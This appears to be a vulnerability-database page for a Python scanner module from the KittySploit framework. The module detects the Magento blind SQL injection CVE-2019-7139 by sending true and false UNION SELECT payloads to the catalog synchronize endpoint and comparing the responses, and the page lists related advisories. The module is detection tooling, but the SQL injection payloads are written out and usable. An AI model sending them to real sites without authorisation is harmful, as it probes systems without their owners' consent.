Lucene search
+L

Magento - catalog synchronize SQLi Detection (CVE-2019-7139)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 14 Views

Unauthenticated blind SQLi in Magento /catalog/product_frontend_action/synchronize.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2019-7139
4 May 202407:34
–circl
cnvd
CNVD
Magento SQL Injection Vulnerability
12 Apr 201900:00
–cnvd
cve
CVE
CVE-2019-7139
10 Apr 201917:07
–cve
cvelist
Cvelist
CVE-2019-7139
10 Apr 201917:07
–cvelist
dsquare
Dsquare
Magento 2 SQL Injection
7 Apr 201900:00
–dsquare
friendsofphp
Friends Of PHP
SUPEE-11086 - RCE, XSS, CSRF and other vulnerabilities
26 Mar 201900:00
–friendsofphp
friendsofphp
Friends Of PHP
SUPEE-11086 - RCE, XSS, CSRF and other vulnerabilities
26 Mar 201900:00
–friendsofphp
friendsofphp
Friends Of PHP
PRODSECBUG-2198: SQL Injection due to a flaw in MySQL adapter
25 Jun 201900:00
–friendsofphp
github
Github Security Blog
Magento 2 Community Edition SQLi Vulnerability
24 May 202222:00
–github
kitploit
Kitploit
Magento-CVE-2019-7139-SQLi-PoC
13 Nov 202618:20
–kitploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Magento catalog synchronize blind SQLi (CVE-2019-7139)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Magento - catalog synchronize SQLi Detection (CVE-2019-7139)',
        'description': (
            'Detects CVE-2019-7139 by comparing true/false UNION SELECT payloads on '
            '/catalog/product_frontend_action/synchronize (400 vs 200).'
        ),
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': [
            'web', 'scanner', 'cve', 'cve2019', 'magento', 'sqli', 'unauth', 'vuln',
        ],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 0.9,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [{'capability': 'risk_signal', 'from_detail': ''}],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2019-7139'],
        'cve': 'CVE-2019-7139',
    }

    base_path = OptString('', 'Optional Magento base path', required=False)

    def _prefix(self) -> str:
        base = str(self.base_path or '').strip()
        if not base or base == '/':
            return ''
        if not base.startswith('/'):
            base = '/' + base
        return base.rstrip('/')

    def run(self):
        base = (
            f'{self._prefix()}/catalog/product_frontend_action/synchronize'
            '?type_id=recently_products&ids%5B0%5D%5Badded_at%5D=&'
            'ids%5B0%5D%5Bproduct_id%5D%5Bfrom%5D=%3F&ids%5B0%5D%5Bproduct_id%5D%5Bto%5D='
        )
        true_p = '%29%29%29+OR+%28SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+333%3D333%29+--+-'
        false_p = '%29%29%29+OR+%28SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+333%3D334%29+--+-'
        # Greenbone: true condition first expects 400, false then 200 => vulns
        r1 = self.http_request(method='GET', path=base + true_p, allow_redirects=False)
        if not r1 or r1.status_code != 400:
            return False
        r2 = self.http_request(method='GET', path=base + false_p, allow_redirects=False)
        if r2 and r2.status_code == 200:
            self.set_info(
                severity='high',
                reason='Magento catalog synchronize blind SQLi (CVE-2019-7139)',
                path=f'{self._prefix()}/catalog/product_frontend_action/synchronize',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 06:19Current
8.6High risk
Vulners AI Score8.6
CVSS 27.5
CVSS 39.8
EPSS0.22242
14